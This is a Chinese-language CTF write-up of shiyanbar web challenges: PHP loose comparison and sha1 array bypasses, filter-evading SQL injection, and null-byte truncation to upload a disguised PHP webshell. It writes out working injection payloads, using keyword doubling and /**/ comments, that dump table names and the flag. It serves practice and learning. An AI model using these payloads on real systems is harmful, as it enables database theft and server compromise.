做了几道实验吧的web题,在这里分享一下
然后顺便复习一下,几道题有有很多sql注入的题,然后让我深知我水平完全不够,还有很多要学的。
0x01 你真的会php吗?
打开后,查看http报文头的信息,然后发现里面有txt文件,打开
里面是一段源码。
审计原代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68 <?php
$info = "";
$req = [];
$flag="xxxxxxxxxx";
ini_set("display_error", false);
error_reporting(0);
if(!isset($_POST['number'])){ #提交的变量是否为number
header("hint:6c525af4059b4fe7d8c33a.txt");
die("have a fun!!");
}
foreach([$_POST] as $global_var) {
foreach($global_var as $key => $value) { #遍历提交的数据
$value = trim($value);#去除提交字符串两边的空格还有约定符号
is_string($value) && $req[$key] = addslashes($value);
}
} #判断提交数据是否为字符串,并且储存在req中。
#判断是否为回文字符串
function is_palindrome_number($number) {
$number = strval($number);
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])){
$info="sorry, you cann't input a number!";#输入的不能为纯数字
}else if($req['number']!=strval(intval($req['number']))){#提交的数值和取整后的数值必须相同
$info = "number must be equal to it's integer!! ";
}else{
$value1 = intval($req["number"]);#vaule1为取整后的数值
$value2 = intval(strrev($req["number"]));#value2为反转后的数值
if($value1!=$value2){#判断两个数值是否相同
$info="no, this is not a palindrome number!";
}else{
if(is_palindrome_number($req["number"])){#调用方法 is_palindrome_number() 来判断是否为回文数字,比如121就得不到回文数字
$info = "nice! {$value1} is a palindrome number!";
}else{
$info=$flag;
}
}
}
echo $info;
然后就想到?number=0e0%00,联系之前bugku的矛盾一题。
然后就可以先试一试,发现不可以
看了别人的writeup
改成了:0e-0%00,然后就能返回出flag,因为0e0%00是回文,那么问题来了,为什么0e-0%00或者0e+0%00就可以,这是因为xey:x倍的10的y次方。这下就好理解了。
0x02 FALSE1
2
3
4
5
6
7
8
9
10
11
12<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>
然后这道题,我觉得很有必要理解一下==和===的差别:
这要说到php代码是弱类型的语言,如类型的语言可以把数字和字符串做比较,例 123==“123” ?
在php中这一类的比较是属于弱类型的比较,使用2个等于号,仅仅比较两个的值,一看都是123 ,便返回相等
而3个等于号是全方位的比较等号两边的‘东西’ 不仅仅比较值得大小,数据的类型也算入其内了,例123===“123” ,这就是错的,会返回false
这里我觉得有两种解法,一个是sha1碰撞,一个是通过sha1()函数的漏洞
第一种解法我就直接挂上大佬的writeup:http://www.shiyanbar.com/ctf/writeup/4512
然后第二种解法是sha1()中存在着一种漏洞,无法对数组进行处理,那就直接构造URL
http://ctf5.shiyanbar.com/web/false.php?name=123&password=456
然后我们修改这段url
http://ctf5.shiyanbar.com/web/false.php?name[]=123&password[]=456
得到flag
0x03 简单的sql注入 1-3
简单的sql注入1:
先挂上万能注入的payload
1' or '1'='1'
可以想到sql语句为单引号闭合形式
select * from * where post='###'
然后再尝试
1' or '1'='1
发现or没有被过滤,那我们就再试试别的。在burp中可以模糊注入一下,看看其他的关键词是否被过滤
然后发现几乎都被过滤了
然后尝试一下
1 union or
然后发现 union 不见了。
1 unionunion or
实际上发现空格也被吞掉了,现在知道了过滤机制是什么,构造payload,还要关注单引号闭合
1' unionunion selectselect database() '
发现是可以的,然后挂上我的payload,爆表名:
1' unionunion selectselect table_name fromfrom information_schema.tables wherewhere table_schtable_schemaema=database() andand '1'='1
爆字段名:
1' unionunion selectselect column_namcolumn_namee fromfrom information_scheminformation_schema.columnsa.columns wherewhere table_name='flag
这里,我觉得有一点值得关注,就是要巧用单引号闭合
爆出flag:
1'unionunion selectselect flag fromfrom flag wherewhere '1'='1
仔细想一下,发现好像过滤机制自己搞错了,好像过滤掉后面带空格的关键字,所以我们要想个办法绕过空格,+、%0a、%0b、//…… 这里使用//
所以payload可以为下面这样:
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
简单的sql注入2:
这道题,纯属运气,在第一题的基础上,我尝试了一下,发现空格会被过滤掉,然后有些字符也被过滤掉
我尝试了一下’union’,’select’,’union select’,’union//‘,’union//select’,’union//select//‘
然后得出了用//绕过的法子,看了一下大佬的writeup,难得自己对了一次.
payload:
`1’//union//select//flag//from//flag//where//‘1’=’1`
简单的sql注入3:
这道题暂时先留着,因为不知道为什么sqlmap不会用,可把我气死了。
估计是什么东西没有安装好,等开学请教同学。
0x04 上传绕过
这道题和南邮的一道CTF题简直一模一样,
这里放上一个博主的文章,关于00截断的一些见解,我觉得还蛮有用的
https://blog.csdn.net/zpy1998zpy/article/details/80545408
考点:00截断
然后我们这题
因为只允许上传jpg,png等图片格式文件,然后我用图片一句话木马,然后上传后抓包修改图片文件名,连上蚁剑,找flag,发现我错了,然后评论里说用00截断
上网找了00截断的资料。
所以我想多了。
首先上传一个jpg文件,抓包,放入repeater.
提示:
又要上传的是图片文件,又要有php做后缀。
所以这里有双重验证,客户端一次验证,服务器端一次验证。
文件基本要是 xx.phpxx.jpg
所以有00截断的思路,一个图片文件在客户端验证的过程中为jpg文件,然后到服务器时又为php文件,我们使用00截断,在文件的路径上进行添加文件后缀名
获得flag
上面文章中有一题00截断的php代码分析题,我觉得还不错
这道题正确的payload是:?nctf=1%00%23biubiubiu
因为是url编码所以把 # 改成了 %23